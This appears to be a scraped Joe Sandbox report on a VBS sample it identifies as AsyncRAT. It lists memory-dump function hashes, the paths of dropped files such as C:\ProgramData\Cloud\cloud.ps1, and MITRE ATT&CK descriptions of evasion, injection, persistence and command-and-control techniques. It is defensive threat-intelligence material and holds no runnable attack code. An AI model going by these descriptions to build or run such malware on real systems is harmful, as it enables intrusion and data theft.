Instruction Fuzzy Hash: 1E012B304053409AE7208A59CD84B67BFD8EF423A0F18C46EFF880B646C279D805C7B1

Function 010FD01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3385364862.00000000010FD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010FD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_10fd000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e5da49fcd2f4e2a6a3e763debcc6b1b9699e7c8ff2aee230c6dee0534809dae
Instruction ID: c4940b4370f904d78cdb0a49710ce91b270ead54cb0e06353775b60cab328dd5
Opcode Fuzzy Hash: 0e5da49fcd2f4e2a6a3e763debcc6b1b9699e7c8ff2aee230c6dee0534809dae
Instruction Fuzzy Hash: 08F0C271405344AEE7108A1AC884B62FFD8EF42374F28C45AFE880B286C2799844CBB0

Function 051B3821 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9e04bffcc5159ec744fb0294e4b7626c5369d8e0fb7f83ac5f55d054d613317
Instruction ID: d156822e9c5c9dca108722e2f703746c9fc51798d52db9cf3bd1cc31c9ca0289
Opcode Fuzzy Hash: a9e04bffcc5159ec744fb0294e4b7626c5369d8e0fb7f83ac5f55d054d613317
Instruction Fuzzy Hash: C8F0E2307100009FD7095B69E804BA57BEBAFC9A24F1981AAF515C7375CFA1DC00CB41

Function 051B0440 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b364ef41bc2ede393034ce2720a3e05e2c627463d3e1de653475c5b28f5635be
Instruction ID: da74ab8dca747c73d43d0e4dfb1ce4894a38e31492d513ee33efc14e4cd3ec28
Opcode Fuzzy Hash: b364ef41bc2ede393034ce2720a3e05e2c627463d3e1de653475c5b28f5635be
Instruction Fuzzy Hash: 74C0807140C3C0DFD7171B645C555DB7FB54B53155F1541D7E044C51A3C1664D00C711

Function 051B0450 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.3400330246.00000000051B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_51b0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00ce3a833450f9a00f8aa087f7df6dfb4f57b1780be94e658783e43f813af030
Instruction ID: 297435c09cce8e036a982b36838059c5ac8718e0516ea23dc4034416b3c7b818
Opcode Fuzzy Hash: 00ce3a833450f9a00f8aa087f7df6dfb4f57b1780be94e658783e43f813af030
Instruction Fuzzy Hash: 9790223000020CCB08002B803C08002B30C80000083800022E00C002020A2230000280

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report H#0813-186765.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Cloud\cloud.bat

C:\ProgramData\Cloud\cloud.ps1

C:\ProgramData\Cloud\cloud.vbs

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_11usb23t.ohp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3ewzzuiv.hfn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_d4evbrxr.oin.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dafxv52m.zn0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5jse2s5.1l3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jxr2cyz2.zmn.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k3nhhcke.z1d.ps1

Windows Analysis Report
H#0813-186765.vbs

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre